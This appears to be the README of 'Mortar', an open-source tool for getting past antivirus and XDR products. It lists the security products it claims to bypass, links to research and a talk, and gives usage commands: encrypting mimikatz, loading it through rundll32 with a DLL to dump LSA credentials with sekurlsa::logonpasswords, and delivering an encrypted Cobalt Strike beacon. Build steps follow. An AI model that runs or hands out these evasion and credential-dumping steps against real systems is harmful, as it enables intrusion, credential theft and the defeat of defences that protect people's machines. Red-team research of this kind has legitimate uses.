Mortar is able to bypass modern anti-virus products and advanced XDR solutions and it has been tested and confirmed bypass for the following: * Kaspersky :heavy_check_mark: * ESET :heavy_check_mark: * Malewarebytes :heavy_check_mark: * Mcafee :heavy_check_mark: * Cortex XDR :heavy_check_mark: * Windows defender :heavy_check_mark: * Cylance:heavy_check_mark: * TrendMicro :heavy_check_mark: * Bitdefender :heavy_check_mark: * Norton Symantec :heavy_check_mark: detailed research and techniques : https://0xsp.com/security%20research%20&%20development%20(SRD)/defeat-the-castle-bypass-av-advanced-xdr-solutions CrestCon Asia 2021 talk : https://www.youtube.com/watch?v=H7EMBz7GLMk # Usage ## Encryptor ``` root@kali>./encryptor -f mimikatz.exe -o bin.enc ``` ## Loader (DLL) for bypassing Cortex XDR,add agressor.dll with bin.enc in the same folder and script the following bat file ``` @echo off cmd.exe /c rundll32.exe agressor.dll,stealth ``` for normal usage you can directly execute the agressor.dll ``` rundll32.exe agressor.dll,dec ``` ## Loader (EXE) the executable version has more options you can use, as you able to pass commands for the loaded binary ``` ##Mimikatz dump LSA deliver.exe -d -c sekurlsa::logonpasswords -f mimikatz.enc ## Cobalt strike beacon deliver.exe -d -f cobalt.enc ``` # Compiling the Loader (windows only) the project has been coded using FPC(Free Pascal), the compiling procedures are straightforward by downloading and installing Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads) and navigate into file > open -> Run -> build # Compiling Encryptor(Linux/BSD/Arm/MacOS//windows) either by downloading and installing Lazarus-IDE from the official site(https://www.lazarus-ide.org/index.php?page=downloads) ``` #Debian & Ubuntu apt install fpc apt install lazarus-ide ``` # Support the research if you think you have benefited from this open-source project and want more updates in the future, please mind time and efforts by making a donation https://donorbox.org/support-0xsp
